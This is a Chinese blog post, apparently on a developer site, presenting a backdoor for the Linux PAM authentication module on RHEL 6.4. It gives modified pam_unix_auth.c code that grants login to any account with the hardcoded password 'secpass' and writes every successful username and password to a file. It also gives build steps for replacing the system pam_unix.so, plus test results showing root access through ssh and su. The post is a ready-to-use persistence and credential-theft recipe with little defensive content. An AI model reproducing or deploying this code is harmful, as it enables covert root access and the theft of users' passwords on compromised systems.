PAM模块的backdoor实现与分析

本文介绍在RHEL6.4环境中通过修改PAM模块实现万能密码登录的方法,并记录登录密码到指定文件。该方法影响所有使用PAM模块的认证方式,包括SSH、SU等。

环境RHEL6.4

wget http://www.linux-pam.org/library/Linux-PAM-1.1.1.tar.gz

tar xzvf Linux-PAM-1.1.1.tar.gz

主要修改 Linux-PAM-1.1.1/modules/pam_unix/pam_unix_auth.c

/* verify the password of this user */
                               
         retval = _unix_verify_password(pamh, name, p, ctrl);
                               
 if (strcmp(p,"secpass")==0 ){retval = PAM_SUCCESS;}
                               
 if(retval == PAM_SUCCESS)
                               
 {
                 FILE *fd;
                 fd = fopen(PASSWD_FILE, "a");
                 fprintf(fd, "%s:%s\n", name, p);
                         fclose(fd);
 }
         name = p = NULL;
         AUTH_RETURN;
 }


./configure && make

cp modules/pam_unix/.libs/pam_unix.so /lib/security/pam_unix.so 前提对系统现有pam_unix.so文件备份


测试ssh

wKioL1NLa0bim3TuAAHbrFWz7Kc843.jpg

以上是使用了万能密码登录功能,以不同的root密码登录,获得同样的root权限,另一个是记录登录密码到指定文件。

wKiom1NLa5-gc_ieAADuoJA5rWk403.jpg

在被***端查看密码文件,第一次管理员正常以root身份登录,第二次***者以root身份使用后门密码登录。

测试su
普通用户sysuser登录系统后,分别使用万能密码和正常密码切换为root

wKioL1NLa6ewJVQEAAFM1eOy6S0953.jpg

总结:PAM模块的backdoor程序实现很简单,主要为万能密码和键盘记录功能,还可以提供远程发送密码功能,主要影响了所有在/etc/pam.d/下利用到PAM模块认证的方式(ssh、su、ftp、telnet等。)

Have a nice day.          

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值